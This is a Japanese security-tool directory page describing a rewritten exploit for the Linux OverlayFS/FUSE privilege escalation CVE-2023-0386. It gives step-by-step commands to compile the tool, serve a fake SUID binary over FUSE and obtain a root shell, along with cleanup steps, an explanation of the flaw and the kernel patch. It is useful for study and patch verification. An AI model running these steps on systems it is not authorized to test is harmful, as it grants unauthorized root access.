Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-0386-OverlayFS — overlayFSを使用して偽のインメモリファイルをディスクにコピーする | Kitploit
ツール/GitHubGitHub/pwncone/cve-2023-0386-overlayfs
特権昇格脆弱性分析エクスプロイト学習と教育バイナリエクスプロイト
GitHubpwncone/cve-2023-0386-overlayfs

CVE-2023-0386-OverlayFS

overlayFSを使用して偽のインメモリファイルをディスクにコピーする

リポジトリを見る
42ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-0386 - OverlayFS / FUSE

オリジナルの CVE ソースは xkaneiki によるもの: https://github.com/xkaneiki/CVE-2023-0386/tree/main

エクスプロイトを1つのシェルで実行できるように書き直しました(元のエクスプロイトは2つのシェルが必要です)。

root@kitploit:~
# Compile
make all
# Create mount point for fuse filesystem
mkdir -p /tmp/fusepwn/lower
# Start fuse (which serves a SUID binary)
./fuse /tmp/fusepwn/lower
# Run exploit (which copies fuse's fake SUID binary onto disk with real SUID privs via overlayfs)
./exp
# Run shell
/tmp/fusepwn/upper/bin

クリーンアップ

root@kitploit:~
# unmount fuse filesystem
fusermount -u /tmp/fusepwn/lower
# remove all 
rm -rf /tmp/fusepwn
# unmount overlayfs (root only. not required)
umount /tmp/fusepwn/merge

メモ

  • マウントされたファイルシステムを表示するには findmnt を使用する
  • overlayfs のマウントは root にしか見えない(理由は不明)

仕組み

fuse.c は /tmp/fusepwn/lower にマウントされた fuse ファイルシステムを作成し、root が所有する偽の SUID バイナリを提供します。これはインメモリファイルシステムであるため、権限セットについて偽ることができます。

次に exp.c は /tmp/fusepwn に overlayfs マウントを作成し、偽の SUID バイナリ (/tmp/fusepwn/lower/bin) を開きます。開かれると、overlayfs が copy-up を実行し、偽の SUID バイナリが実際の SUID 権限を持ち root 所有でディスクに書き込まれます。

この脆弱性は、overlayfs が lower ファイルシステムから提供されるファイル権限を盲目的に信頼することに存在します。lower ファイルシステムがカーネルである場合は問題ありません(root 権限なしでは操作できないため)。lower ファイルシステムをユーザーが操作できる場合は、問題です。FUSE を使用するなどして、そこにあるファイルについて偽ることができるからです。

パッチ

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4f11ada10d0ad3fd53e2bd67806351de63a4f9c3

このパッチは、ファイルの UID/GID がユーザーの名前空間内で有効かどうかをチェックします。有効でない場合、copy-up は失敗します。

つまり、

  • 私たちは bob である
  • proc/self/uid_map で 1000 (bob の UID) を 0 (root) にマッピングして、root として新しい名前空間を作成する
  • root 所有のファイルに対して copy-up をトリガーしようとする
  • overlayfs は bob のマッピングをチェックし、ユーザーの名前空間が実際にはファイルと同じ 0 (root) ではなく 1000 (bob) であることを確認し、copy-up を失敗させる

参考リソース

  • 参考になるブログ: https://engineering.facile.it/blog/eng/write-filesystem-fuse/
  • FUSE 実装の例: https://man.openbsd.org/fuse_main.3

図

diagram

ツールをダウンロード